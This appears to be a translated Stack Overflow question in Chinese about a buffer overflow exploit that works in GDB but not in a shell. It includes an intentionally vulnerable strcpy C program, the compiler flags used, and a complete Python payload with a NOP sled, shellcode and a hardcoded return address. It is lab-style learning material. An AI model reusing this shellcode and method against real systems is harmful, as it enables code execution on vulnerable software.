我的问题几乎就是标题所描述的内容,我在网上阅读了很多文章,但没有一个解释我怎么能真正做出像./buf < attack.txt
那样可行的漏洞,其中attack.txt
是我的有效载荷,其中包含我的漏洞利用在其中。让我通过举个例子让你理解我的问题。
让我们考虑这个着名的C程序,它用于教导缓冲区溢出。
#include<stdio.h>
#include<string.h>
int main(int argc, char const *argv[])
{
char buff[500];
strcpy(buff,argv[1]);
printf("%s\n",buff);
return 0;
}
我们大多数人都知道这方面的理论方法,但总而言之,我们试图利用strcpy()
来创建溢出并覆盖堆栈中的内存地址,其中ret
指令将指向到。
就像普通新手一样,我使用以下命令执行此文件。
gcc -fno-stack-protector -z execstack buf.c -o buf
现在这给了我一个Ubuntu 17.10.1 64-bit vbox
的二进制ELF可执行文件。我使用GDB
来创建缓冲区溢出。我反汇编main()
,插入break
点,计算偏移量,生成有效负载,插入漏洞并使其成功指向我的漏洞利用地址。然后,我利用程序和Vola!我的程序被成功利用了。事情进展顺利到现在为止。我已经大致了解了如何完成利用,我现在可以找到其他缓冲区溢出攻击并利用它们 Inside GDB 。这就是我被困住的地方。
如果我必须利用程序,我必须通过GDB进行,我无法在shell外部进行,我不知道为什么,但它会引发分段错误。
我很恐慌,我哭了,我会去睡觉。在绝望中醒来之后我很快google&#34;缓冲区溢出发生在GDB中但不在shell中#34;我遇到了这个Buffer overflow works in gdb but not without it。
现在,上面的文章解释了这两个环境存在很多差异,因此它包括Wrapper Program shell脚本,正如我所经历的那样,它是Shell和GDB之间的桥梁。它将它们带到一个共同的平台(当然,我不知道怎么做?)
我现在再次使用此命令调试我的程序,
./envexec -d buf
我用
执行它./envexec buf ($python payload.py)
并且它再次无法使用!
我在GDB中设置了2个环境变量
unset env LINES
unset env COLUMNS
然后再执行,
./envexec buf ($python payload.py)
终于有效了!做的好!
但不!我在这里不满意。我想在没有包装器程序的情况下工作。我应该可以使用这个
来利用它./buf $(python payload.py)
但我无法做到这一点。我请求有人帮我解决这个问题
P.S:在关闭或要求关闭此问题之前,请仔细阅读整个问题。
更新1:我已经禁用地址空间布局随机化。
更新2:附加有效负载
buf_length = 520
nop_length = 100
nop_slide = "\x90"*nop_length
buf = ""
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\xfa\x6e\x99\x49\xdc\x75\xa8"
buf += "\x43\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x90\x47\xc1\xd0\xb6\x77\xf7\x29\xfb\x30\x96\x4c\x94"
buf += "\xe2\xe0\xfa\xf8\x6e\x88\x15\xa3\x75\xa8\x42\xab\x26"
buf += "\x10\xaf\xb6\x65\xf2\x29\xd0\x36\x96\x4c\xb6\x76\xf6"
buf += "\x0b\x05\xa0\xf3\x68\x84\x7a\xad\x36\x0c\x04\xa2\x11"
buf += "\x45\x3d\x13\x6c\x98\x07\xf7\x66\xaf\x1d\xa8\x10\xb2"
buf += "\xe7\x7e\x1b\x8b\x3d\x21\xa5\xf5\x6b\x99\x49\xdc\x75"
buf += "\xa8\x43"
padding = "A"*(buf_length-nop_length-len(buf))
return_address = "\x10\xe9\xff\xff\xff\x7f"
print (nop_slide+buf+padding+return_address)
更新3: 根据@poming的评论,我试图将正在运行的进程附加到GDB并尝试在运行时调试它。
难度:由于流程几乎立即终止,我无法将流程附加到GDB。
解决方案:我必须为此转储核心文件,我必须使用以下命令启用核心转储,并按照以下回答https://stackoverflow.com/a/35747215/4208058
ulimit -c unlimited
由于我也在使用Ubuntu,我不得不使用以下命令终止服务apport,
sudo service apport stop
现在,我尝试使用核心文件调试脚本,我注意到返回地址无效,我不得不在整个堆栈中搜索Nops,然后我将有效负载中的return_address指向它显示的实际值核心文件。
我尝试使用命令
再次使用我的有效负载执行文件./buf.exe $(python payload.py)
它有效!这太棒了。这实际上回答了我自己的问题,但我的怀疑仍然存在。包装器程序有什么不同,为什么我在两个不同环境之间的堆栈有这么大的差异?